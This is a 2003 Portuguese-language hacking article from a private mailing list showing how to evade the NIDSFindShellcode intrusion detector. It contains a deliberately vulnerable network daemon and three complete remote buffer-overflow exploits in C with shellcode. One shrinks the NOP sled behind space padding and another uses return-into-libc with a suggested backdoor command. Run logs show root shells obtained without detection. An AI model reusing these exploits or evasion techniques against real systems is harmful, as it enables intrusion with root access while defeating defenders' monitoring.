############################################################################
########################## CLUBE DOS MERCENARIOS ###########################
############################################################################

PRIVATE!! PRIVATE!! PRIVATE!! PRIVATE!!

Artigo Escrito para os Membros da Mail
List do Clube dos Mercenarios e Associados

Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br

Estes e outros textos podem ser obtidos em:
http://cdm.frontthescene.com.br/ ou
http://coracaodeleao.virtualave.net/


OBS: O autor nao se responsabiliza pelo mau uso das informacoes e dados
aqui disponibilizados. Todas as informacoes possuem somente carater
educacional.

OBS2: Script kiddies(defacers), Crackers e Analistas de Seguranca da
Banda Podre, favor nao leiam este documento.


09/2003

*************************************
* ESQUEMAS CONTRA NIDSFINDSHELLCODE *
*************************************

1 - Introducao
2 - Exploitacao
2.1 - Manuseando cadeia de NOPs
2.2 - Utilizando Return Into LibC
2.3 - Sugestoes
3 - Terminando
3.1 - Links e Referencias
3.2 - Consideracoes Finais


---------------
I - Introducao |
---------------

O NIDSFindShellcode versao 0.2 atua na interface de rede a espera
de cadeia de "NOPS" para detectar como sendo um ataque.

Ele espera pela captura de um sequencia de instrucoes vazias que
deve ser superior ao numero definido pelo usuario na "variavel"
NOPS_RAISE_ERROR em nidsfindshellcode.h.

Os desenvolvedores aconselham utilizar um intervalo entre 50-60
para esta "variavel". Entao, como ele atua?

Instrucoes vazias ou NOPS possuem representacoes variadas em
codigo assembly, alguns exemplos seguirao logo abaixo.

O Sniffer(NIDS) escuta na interface e quando surge uma instrucao
vazia ele comeca a ativar um contador, logo apos eh executado um
for() para incrementar o numero de nops detectados, se este
numero for superior ao definido em NOPS_RAISE_ERROR, o ataque eh entao 
detectado.

Uma lista contendo as instrucoes vazias pode ser encontrada no
arquivo ADMmut-misc.h. Para Intel 32 bits, temos:

------------------------ADMmut-misc.h------------------------
struct junks intel_njunk[IA32_JUNKS] = {
/* these may be dangerious depending on your sploit */
{ "\x50",1,1,0,1,0,0,0,1 }, /* push %eax "P" */
{ "\x51",1,1,0,1,0,0,0,1 }, /* push %ecx "Q" */
{ "\x52",1,1,0,1,0,0,0,1 }, /* push %edx "R" */
{ "\x53",1,1,0,1,0,0,0,1 }, /* push %ebx "S" */
{ "\x54",1,1,0,1,0,0,0,1 }, /* push %dsp "T" */
{ "\x55",1,1,0,1,0,0,0,1 }, /* push %ebp "U" */
{ "\x56",1,1,0,1,0,0,0,1 }, /* push %esi "V" */
{ "\x57",1,1,0,1,0,0,0,1 }, /* push %edi "W" */
{ "\x58",1,1,0,1,0,0,0,1 }, /* pop %eax "X" */
{ "\x59",1,1,0,1,0,0,0,1 }, /* pop %ecx "Y" */
{ "\x5a",1,1,0,1,0,0,0,1 }, /* pop %edx "Z" */
{ "\x5b",1,1,0,1,1,0,0,1 }, /* pop %ebx "[" */
{ "\x5d",1,1,0,1,1,0,0,1 }, /* pop %ebp "]" */
{ "\x5e",1,1,0,1,1,0,0,1 }, /* pop %esi "^" */
{ "\x5f",1,1,0,1,1,0,0,1 }, /* pop %edi "_" */
{ "\x60",1,1,0,1,1,0,0,1 }, /* pusha "`" */
{ "\x9b",1,1,1,1,1,0,0,1 }, /* fwait */
{ "\x9c",1,1,1,1,1,0,0,1 }, /* pushf */
{ "\x9e",1,1,1,1,1,0,0,1 }, /* safh */
/* dangerious opcodes section over */
{ "\x99",1,1,1,1,1,0,0,1 }, /* cltd */
{ "\x96",1,1,0,1,1,0,0,1 }, /* xchg %eax,%esi */
{ "\x97",1,1,0,1,1,0,0,1 }, /* xchg %eax,%edi */
{ "\x95",1,1,0,1,1,0,0,1 }, /* xchg %eax,%ebp */
{ "\x93",1,1,0,1,1,0,0,1 }, /* xchg %eax,%ebx */
{ "\x91",1,1,0,1,1,0,0,1 }, /* xchg %eax,%ecx */
{ "\x90",1,1,1,1,1,0,0,1 }, /* regular NOP */
{ "\xc1\xe8\x42",3,0,1,1,1,1,2,1 }, /* shr N,%eax */
{ "\x4d",1,1,0,1,0,0,0,1 }, /* dec %ebp, "M" */
{ "\x6b\xc0\x42",3,0,1,1,1,1,2,1 }, /* imul N,%eax */
{ "\x48",1,1,1,1,0,0,0,1 }, /* dec %eax, "H" */
{ "\x33\xc0",2,0,1,1,1,0,0,1 }, /* xor %eax,%eax */
{ "\x47",1,1,1,1,0,0,0,1 }, /* inc %edi "G" */
{ "\x4f",1,1,1,1,0,0,0,1 }, /* dec %edi "O" */
{ "\x40",1,1,1,1,1,0,0,1 }, /* inc %eax "@" */
{ "\x8c\xc0",2,0,1,1,1,0,0,1 }, /* mov %es,%eax */
{ "\x41",1,1,0,1,0,0,0,1 }, /* inc %ecx "A" */
{ "\x37",1,1,1,1,1,0,0,1 }, /* aaa "7" */
{ "\x3f",1,1,1,1,1,0,0,1 }, /* aas "?" */
{ "\x97",1,1,1,1,1,0,0,1 }, /* xchg %eax,%edi */
{ "\x46",1,1,0,1,0,0,0,1 }, /* inc %esi "F" */
{ "\x4e",1,1,0,1,0,0,0,1 }, /* dec %esi "N" */
{ "\xf8",1,1,1,1,1,0,0,1 }, /* clc */
{ "\x92",1,1,1,1,1,0,0,1 }, /* xchg %eax,%edx */
{ "\xfc",1,1,1,1,1,0,0,1 }, /* cld */
{ "\x87\xdb",2,0,1,1,1,0,0,1 }, /* xchg %ebx,%ebx */
{ "\x98",1,1,1,1,1,0,0,1 }, /* cwtl */
{ "\x27",1,1,1,1,1,0,0,1 }, /* daa "'" */
{ "\x87\xc9",2,0,1,1,1,0,0,1 }, /* xchg %ecx,%ecx */
{ "\x2f",1,1,1,1,1,0,0,1 }, /* das "/" */
{ "\x9f",1,1,1,1,1,0,0,1 }, /* lahf */
{ "\x87\xd2",2,0,1,1,1,0,0,1 }, /* xchg %edx,%edx */
{ "\xf9",1,1,1,1,1,0,0,1 }, /* stc */
{ "\x83\xf0\x42",3,0,1,1,1,1,2,1 }, /* xor N,%eax */
{ "\x4a",1,1,0,1,0,0,0,1 }, /* dec %edx "J" */
{ "\x8c\xe0",2,0,1,1,1,0,0,1 }, /* mov %fs,%eax */
{ "\x44",1,1,0,1,0,0,0,1 }, /* inc %esp "D" */
{ "\xc1\xc0\x42",3,0,1,1,1,1,2,1 }, /* rol N,%eax */
{ "\x42",1,1,0,1,0,0,0,1 }, /* inc %edx "B" */
{ "\x83\xfb\x42",3,0,0,1,1,1,2,1 }, /* cmp N,%ebx */
{ "\x85\xc0",2,0,1,1,1,0,0,1 }, /* test %eax,%eax */
{ "\xc1\xc8\x42",3,0,1,1,1,1,2,1 }, /* ror N,%eax */
{ "\x43",1,1,0,1,0,0,0,1 }, /* inc %ebx "C" */
{ "\x83\xc8\x42",3,0,1,1,1,1,2,1 }, /* or N,%eax */
{ "\x49",1,1,0,1,0,0,0,1 }, /* dec %ecx "I" */
{ "\x83\xe8\x42",3,0,1,1,1,1,2,1 }, /* sub N,%eax */
{ "\x4b",1,1,0,1,0,0,0,1 }, /* dec %ebx "K" */
{ "\x83\xfa\x42",3,0,0,1,1,1,2,1 }, /* cmp N,%edx */
{ "\xf7\xd0",2,0,1,1,1,0,0,1 }, /* not %eax */
{ "\x83\xf9\x42",3,0,0,1,1,1,2,1 }, /* cmp N,%ecx */
{ "\xf7\xd0",2,0,1,1,1,0,0,1 }, /* not %eax */
{ "\x83\xf9\x42",3,0,0,1,1,1,2,1 }, /* cmp N,%ecx */
{ "\x8c\xe8",2,0,1,1,1,0,0,1 }, /* mov %gs,%eax */
{ "\xf5",1,1,1,1,1,0,0,1 }, /* cmc */
{ "\x83\xe0\x42",3,0,1,1,1,1,2,1 }, /* and N,%eax */
{ "\xb0\x42",2,0,1,1,1,1,1,1 }, /* mov N,%eax */
{ "\x45",1,1,0,1,0,0,0,1 }, /* inc %ebp "E" */
{ "\x83\xf8\x42",3,0,1,1,1,1,2,1 }, /* cmp N,%eax */
{ "\x4c",1,1,0,1,0,0,0,1 }, /* dec %esp "L" */
{ "\x83\xc0\x42",3,0,1,1,1,1,2,1 } /* add N,%eax, */
};
---------------------------------------------------------------

Como podemos ver, sao muitas as instrucoes vazias que ele checa,
e logo, podemos notar tambem que a quantidade de falsos-positivos
eh muito grande(eis um dos motivos pra muitos administradores evitarem
tal tipo de ferramenta).

Abaixo temos uma parte do codigo responsavel pela checagem em
arquitetura Intel de 32 bits.

-------- check_shellcode.c ------------
....
void check_shellcode(struct _proto *proto, char *buffer, int len) {
char *ptr;
int counter_len, counter_nops, aux;
int found;

if ((len<0) || (len<NOPS_RAISE_ERROR)) return;

/************************/
/* Check for intel NOPS */
/************************/
counter_len=0;
counter_nops=0;
ptr=(char *)buffer;
while(counter_len<len) {
found=0;
for (aux=0;aux<IA32_JUNKS;aux++)
if ((!found) && (intel_njunk[aux].noppad)) {
if (((intel_njunk[aux].dyn==0) &&
(strncmp(ptr,intel_njunk[aux].code,intel_njunk[aux].len)==0)) ||
((intel_njunk[aux].dyn==1) &&
(strncmp(ptr,intel_njunk[aux].code,intel_njunk[aux].dynint)==0))) {

counter_nops++;
found=1;
ptr+=intel_njunk[aux].len-1;
}
}
if (found==0) counter_nops=0;
if (counter_nops==NOPS_RAISE_ERROR) 
raise_error(IA32_ERROR,proto,buffer,len);
ptr++;
counter_len++;
}
--------------------------------------------------------

Com base nessas informacoes, podemos entao comecar o "hacking".


II - Exploitacao
-----------------

Primeiramente vamos analisar o que acontece quando atacamos utilizando
exploits "padroes"(altamente usados por script kiddies/defacers/lamers).

Nosso daemon serah o seguinte:

------------------------------ daemon2.c ------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdarg.h>
#include <syslog.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>


#define ERRO -1
#define PORTA 5000

int Meusocket, New;

int vulneravel(char *dados){
char buf[512];
int i;


for(i =0; i < strlen(dados);i++){
buf[i] = dados[i];
}
if(!strcmp(buf,"quit")){
write(New,"Bye\n",5);
close(New);
}
write(New,buf,strlen(buf));
return 0;
}

int main(int argc, char *argv[]){
struct sockaddr_in local;
struct sockaddr_in remote;
int n;
char dados[1024];

Meusocket = socket (AF_INET,SOCK_STREAM,0);
local.sin_family = AF_INET;
local.sin_port = htons(PORTA);
local.sin_addr.s_addr = INADDR_ANY;
bzero(&(local.sin_zero),8);

bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
listen(Meusocket, 5);

while(1)
{
n = sizeof(struct sockaddr_in);
if((New=accept(Meusocket, (struct sockaddr *)&remote,&n))==1)
{
perror("accept");
exit(1);
}

if(!fork()){
close(0);
close(1);
close(2);

dup2(New, 0);
dup2(New, 1);
dup2(New,2);

strcpy(dados,"Seja bem vindo! \n\nUsuario: ");
write(New,dados,strlen(dados));
memset(dados,0,strlen(dados));

if(read(New,dados,sizeof(dados)) < 0){
perror("read()");
return -1;
}

vulneravel(dados);

close(New);
exit(0);
}
}
return 0;
}
------------------------------------------------------------------

Como podemos ver, um simples SERVER SOCK vulneravel a Stack Overflow
em for() dentro da funcao vulneravel(). Precisamos de um exploit
para Stack Overflow capaz de sobrescrever os 512 bytes do buffer
definido como "buf" enviando sequencia de codigos via buffer
definido como "dados".

Utilizando um simples exploit com tecnica conhecida como "SMASHING
THE STACK", teriamos:

---------------------------- rem1.c --------------------------------
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define PORTA 5000
#define SIZE 516 // Tamanho do buffer + 4
#define NOP 0x90 // NOP Code
#define RETADDR 0xbffff514
#define ERROR -1

char shellcode[] =
"\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30"
"\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"
"\x2f\x32\x39\x3e\x2f\x43\x38";

int main(int argc, char *argv[]) {
char buffer[SIZE], sockbuffer[2048];
char *dados;
long retaddr = RETADDR;
struct sockaddr_in sin;
struct hostent *he;
int sock, i,l;
fd_set rfds;
char buf[512];

if(argc < 2){
printf("Uso: %s <host> <offset>\n", argv[0]);
exit(0);
}


if(argc == 3) retaddr += atoi(argv[2]);
fprintf(stderr, "Tentando Exploitar %s...\n", argv[1]);
fprintf(stderr, "Usando return address 0x%08lx. Shellcode size:%i bytes\n\n",
retaddr, strlen(shellcode));

he = gethostbyname(argv[1]);
if(!he){
fprintf(stderr, "Host Desconhecido : %s\n", strerror(errno));
exit(ERROR);
}


sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0) {
perror("socket()");
exit(ERROR);
}

sin.sin_family = AF_INET;
sin.sin_port = htons(PORTA);
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
bzero(&(sin.sin_zero), 8);

fprintf(stdout,"Conectando... ");
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
fprintf(stderr, "Erro ao conectar a %s:5000\n", argv[1]);
exit(ERROR);
}

fprintf(stdout, "OK\n");

/* Preparamos o buffer */

for(i = 0;i <= SIZE;i += 4)
*(long *)&buffer[i] = retaddr;

for(i = 0;i < (SIZE - strlen(shellcode) - 100-1); i++ ){
*(buffer+i) = 0x90;
}
memcpy(buffer + i, shellcode, strlen(shellcode));

fprintf(stdout,"Tamanho: %d\n",strlen(buffer));
bzero(sockbuffer, sizeof(sockbuffer));
read(sock, sockbuffer, sizeof(sockbuffer));

fprintf(stdout, "Enviando Shellcode... ");
write(sock, buffer, 1064);
write(sock, "\r\n", 2);
fprintf(stderr, "OK\n");

while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
perror ("read user");
exit (ERROR);
}
write (sock, buf, l);
}

if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("Conexao fechada pelo host.\n");
exit (ERROR);
}
else if(l < 0) {
perror("read remote");
exit(ERROR);
}
write (1, buf, l);
}
}

close(sock);
return 0;
}
----------------------------------------------------------------


*** Em um TTY(1) poderiamos ter:

root@kimera:/crawling/progs/nidsfindshellcode-0.2# ./nidsfindshellcode -d lo
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna@ngsec.com>
Next Generation Security Technologies
http://www.ngsec.com

*** Em outro TTY(2), executamos o daemon vulneravel:

root@kimera:/crawling/progs/nidsfindshellcode-0.2# ./daemon2

*** Em outro TTY(3) podemos executar o exploit:

root@kimera:/crawling/testes/smash# ./rem1 localhost
Tentando Exploitar localhost...
Usando return address 0xbffff514. Shellcode size: 67 bytes

Conectando... OK
Tamanho: 525
Ø@I (Muito Lixo)
èÆÿÿÿ/29>/C8¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿o
ÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ¿oÿ: 
No such file or directoryal/man:/usr/man:/usr/X11R6/man:
id;
uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

*** Voltando ao TTY(1) do NIDSFIND Teriamos:

IA32 shellcode found: Protocol TCP localhost:1037 -> localhost:5000
IA32 shellcode found: Protocol TCP localhost:5000 -> localhost:1037



Bom, como podemos ver, ele detectou. Se tivesse um sistema completo de
IDS(atuando inclusive com um Firewall) ele seria capaz de barrar o ataque,
killando(derrubando) a conexao, inserindo regra de bloqueio no firewall,
notificando o administrador de rede, e etc.

Como este eh um conceito, nos precisamos ser capaz de barrar o conceito,
investindo contra o mesmo. Se fizermos isso, seremos capazes de passar
por nao somente o NIDSFindShellcode, mas tambem por quaisquer ferramentas
que utilizem conceitos semelhantes.


2.1 - Manuseando cadeia de NOPs
--------------------------------

Como vimos, em sua instalacao "default" o NIDSFindShellcode utiliza
um numero pre-definido de 60 NOPs para se detectar um ataque.
Sabendo disso, podemos, entao, diminuir o range(intervalo) de NOPs
presentes em nosso exploit para menos de 60, visando assim passar
pela deteccao da ferramenta.

Para isso, nos precisamos de algumas coisas, sao elas:

I - Capturar um endereco de retorno de forma efetiva, aproximando ao 
maximo do inicio do shellcode;

Conseguimos isso com uma boa depuracao no Daemon.

II - Utilizar poquissimos NOPs(Pode ser qualquer Instrucao Vazia) a
espera no nosso retorno.

Abaixo, nos temos a alteracao do exploit para usar um enchimento(PAD)
com caracter valido(espaco - 0x20) e um pequena cadeia de 40 NOPs
para que nosso exploit caia dentro desta cadeia:

---------------------------- nidsf2.c ----------------------------------

/* Exemplo de exploit - Smashing the stack
* capaz de passar por NidsFindShellcode.
* Nash Leon - nashleon@yahoo.com.br
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define PORTA 5000
#define SIZE 516 // Tamanho do buffer + 4
#define NOP 0x90 // NOP Code
#define PAD 0x20 // Enchimento do buffer
#define RETADDR 0xbffff5e4 // Deve ser bem calculado
#define ERROR -1

char shellcode[] =
"\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30"
"\x80\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x89\x46\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"
"\x2f\x32\x39\x3e\x2f\x43\x38";

int main(int argc, char *argv[]) {
char buffer[SIZE], sockbuffer[2048];
char *dados;
long retaddr = RETADDR;
struct sockaddr_in sin;
struct hostent *he;
int sock, i,l,j;
fd_set rfds;
char buf[512];
if(argc < 2){
printf("Uso: %s <host> <offset>\n", argv[0]);
exit(0);
}



if(argc == 3) retaddr += atoi(argv[2]);
fprintf(stderr, "Tentando Exploitar %s...\n", argv[1]);
fprintf(stderr, "Usando return address 0x%08lx. Shellcode size:%i bytes\n\n",
retaddr);
he = gethostbyname(argv[1]);
if(!he){
fprintf(stderr, "Host Desconhecido : %s\n", strerror(errno));
exit(ERROR);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0) {
perror("socket()");
exit(ERROR);
}


sin.sin_family = AF_INET;
sin.sin_port = htons(PORTA);
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
bzero(&(sin.sin_zero), 8);

fprintf(stdout,"Conectando... ");
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
fprintf(stderr, "Erro ao conectar a %s:5000\n", argv[1]);
exit(ERROR);
}

fprintf(stdout, "OK\n");

/* Preparamos o buffer */

for(i = 0;i <= SIZE;i += 4)
*(long *)&buffer[i] = retaddr;

/* note abaixo nos vamos encher o buffer com PAD e apenas
* no final, usaremos 40 instrucoes vazias(NOP) antes
* de finalizarmos com o endereco de retorno.
*/

for(i = 0;i < (SIZE - strlen(shellcode) - 100-1); i++ ){
*(buffer+i) = PAD;
}
j = i + 40;
for ( i = i; i < j; ++i){
*(buffer+i) = NOP;
}

memcpy(buffer + i, shellcode, strlen(shellcode));

fprintf(stdout,"Tamanho: %d\n",strlen(buffer));
bzero(sockbuffer, sizeof(sockbuffer));
read(sock, sockbuffer, sizeof(sockbuffer));

fprintf(stdout, "Enviando Shellcode... ");
write(sock, buffer, 1064);
write(sock, "\r\n", 2);
fprintf(stderr, "OK\n");

while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
perror ("read user");
exit (ERROR);
}
write (sock, buf, l);
}

if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("Conexao fechada pelo host.\n");
exit (ERROR);
}
else if(l < 0) {
perror("read remote");

exit(ERROR);
}
write (1, buf, l);
}
}

close(sock);
return 0;
}
-------------------------------------------------------------------

Testando entao, nos teriamos:

$ ./nidsfex1 localhost
Tentando Exploitar localhost...
Usando return address 0xbffff5e4. Shellcode size:5 bytes

Conectando... OK
Tamanho: 525
OK





ë5^
F0
F0
F0
F0
F0
1A
F
F
°

ó
V
I
1U
Ø@I
èÆÿÿÿ/29>/C8¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ¿äoÿ
¿äoÿ¿äoÿ¿}ôÿ¿
ôÿ¿/bin/sh: /qt-3.0.4MANPATH=/usr/local/man:/usr: No such file or 
directory
id
uid=0(root) gid=0(root) 
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)


E no TTY do NidsFindShellcode:

# ./nidsfindshellcode -d lo
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna@ngsec.com>
Next Generation Security Technologies
http://www.ngsec.com


Ou seja, absolutamente nada!!:).. Sem log, dentro da rede, ferramenta
entao quebrada!


2.2 - Utilizando Return Into LibC
----------------------------------

Com base no conceito acima, vimos que podemos quebrar a ferramenta
diminuindo o numero de NOPs para um intervalo permitido no sistema.
Mas podemos ir mais alem e utilizar Return Into LibC para exploitar
o sistema utilizando instrucao vazia da shell, ou seja, ponto e
espaco(0x20) como NOP.

Para isso, podemos utilizar um exploit semelhante ao visto abaixo:

-------------------------- nidsfex2.c ---------------------------
/* Exploit Remoto para Ret-Into-Libc.
* Nash Leon - nashleon@yahoo.com.br.
* I Artigo sobre Return Into Libc.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define PORTA 5000
#define SIZE 516 // Tamanho do buffer + 4
#define NOP 0x20 // Note que usamos 0x20 como NOP.
#define SHELL 0xbffff514
#define SYSTEM 0x40065974

/* Abaixo temos o comando shell que serah executado.
* Abaixo apenas para exemplificar.
* Uma backdoor inetd cairia bem..:)
*/

#define COMMAND "echo backdoor >> /tmp/shell;"

#define ERROR -1

int main(int argc, char *argv[]) {
char buffer[SIZE+8], sockbuffer[2048];
unsigned long shelladdr=SHELL, systemaddr=SYSTEM;
struct sockaddr_in sin;
struct hostent *he;
int Sock, i;
char *ptr;

printf("Exemplo de exploit remoto ret-libc by NL\n\n");
if ( argc < 2 ) {
printf("Uso: %s <host> <system_addr> <shell_addr>\n", argv[0]);
exit(0);
}

if ( argc == 3 )
systemaddr += atoi(argv[2]);

if( argc == 4)
shelladdr += atoi(argv[3]);


fprintf(stderr, "Tentando Exploitar %s...\n", argv[1]);
fprintf(stderr, "Usando system address 0x%08lx. \n", systemaddr);
fprintf(stderr, "Usando shell address 0x%08lx. \n", shelladdr);

he = gethostbyname(argv[1]);
if(he == NULL) {
fprintf(stderr, "Unknow hostname : %s\n", strerror(errno));
exit(ERROR);
}
Sock = socket(AF_INET, SOCK_STREAM, 0);
if(Sock < 0 ) {
fprintf(stderr,"Error: Socket()!\n");
exit(ERROR);
}

sin.sin_family = AF_INET;
sin.sin_port = htons(PORTA);
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
bzero(&(sin.sin_zero), 8);

fprintf(stdout, "Connecting... ");
if(connect(Sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
fprintf(stderr, "failed to %s:%d\n", argv[1], PORTA);
exit(ERROR);
}

fprintf(stdout, "OK\n");
ptr = buffer;
for(i = 0;i < (SIZE - sizeof(COMMAND) - 16); i++){
*(ptr++) = NOP;
}

for(i = 0; i < strlen(COMMAND); i++) {
*(ptr++) = COMMAND[i];
}

*(long *)&buffer[SIZE] = systemaddr;
*(long *)&buffer[SIZE+4] = systemaddr;
*(long *)&buffer[SIZE+4+4] = shelladdr;


bzero(sockbuffer, sizeof(sockbuffer));
read(Sock,sockbuffer, sizeof(sockbuffer));
fprintf(stdout, "Sending exploit... ");

write(Sock, buffer, 1024);
write(Sock, "\r\n", 2);

fprintf(stdout, "OK\n");
fprintf(stderr, "Check if exploited!!\n\n");
close(Sock);
return 0;
}

----------------------------------------------------------------

Exploitando, teriamos:

# ls -l /tmp/shell
/bin/ls: /tmp/shell: No such file or directory

$ ./nidsfex2 localhost
Exemplo de exploit remoto ret-libc by NL

Tentando Exploitar localhost...
Usando system address 0x40065974.
Usando shell address 0xbffff514.
Connecting... OK
Sending exploit... OK
Check if exploited!!

# ls -l /tmp/shell
-rw-r--r-- 1 root root 9 Sep 2 18:12 /tmp/shell
# cat /tmp/shell
backdoor


No TTY do NidsFindShellcode:

# ./nidsfindshellcode -d lo
nidsfindshellcode 0.2 by Fermín J. Serna <fjserna@ngsec.com>
Next Generation Security Technologies
http://www.ngsec.com


Absolutamente nenhum log!:)

Como podemos notar, utilizando Return Into Libc tambem somos
efetivos. 


2.3 - Sugestoes
----------------

Se analisarmos o conceito, veremos que poderemos atacar sem
a utilizacao de qualquer NOP, mas apenas enchimentos, atraves
de brute force, sendo que a ferramenta de brute force, precisa
ser bem definida. Tendo sempre em mente tambem que necessitaremos
de algum enchimento, nem que seja encher do endereco de retorno
o buffer alvo.

O caracter ASCII para espaco eh ideal porque as ferramentas de IDS 
nao esperam este hexa(0x20) em ataques de buffer overflow e tambem 
pela inviabilidade de sniffar mensagens contendo texto e espaco
(ja imaginou um email contendo um livro de 500 paginas, quanto 
espaco e texto ele nao teria?!).

Existem outros caracters que podem ser utilizados, mas devemos 
optar por atacar o conceito ao invez de substituir instrucoes
vazias por outras, pois nao sabemos se a maquina alvo estarah ou 
nao a espera da instrucao vazia que escolhermos.

---------------
3 - Terminando |
---------------

NidsFindShellcode eh uma excelente ferramenta capaz de descrever
alguns conceitos muito utilizados no mundos do IDSs. Mas deve-se
sempre utiliza-la com cautela, isso se aplica tambem aos demais
NIDS que utilizam o mesmo conceito.

A exploitacao da ferramenta nos permite contemplar que solucoes
a nivel de "Assinatura" ou espera de dados enviados por atacantes
deve ser bem discutidas.

3.1 - Links e Referencias
--------------------------

* Sobre Hacking:

http://cdm.frontthescene.com.br/
http://www.frontthescene.com.br/
http://www.infoshack.cjb.net/
http://www.microfobia.com/
http://unsekurity.virtualave.net/

* Sobre NidsFindShellcode:

http://www.ngsec.com


3.2 - Consideracoes Finais
---------------------------

Falta de tempo!! Muita falta de tempo, mas ainda tou repassando
infos. Nao sei ateh quando, mas espero sempre poder repassar nem
que seja uma linha apenas.

Tecnicamente falando, vejo que muitos de nos(fucadores) amadurecemos
muito. O conhecimento tecnico tem crescido e alguns desafios
e problemas considerados complexos outrora, hoje, eh visto com
outros olhos, ateh mesmo de modo futil.

A medida que aprendemos devemos sempre nos tornar mais humildes e
modestos, vendo realmente que o que sabiamos outrora, nao era muita
coisa, e o que sabemos hoje, amanha veremos que tambem nao eh
muita coisa.

Se tivermos sempre humildade mental, continuaremos caminhando
para quem sabe um dia olhar pra tras com um sorriso de satisfacao
estampado no rosto.

Um Abraco,

Nash Leon.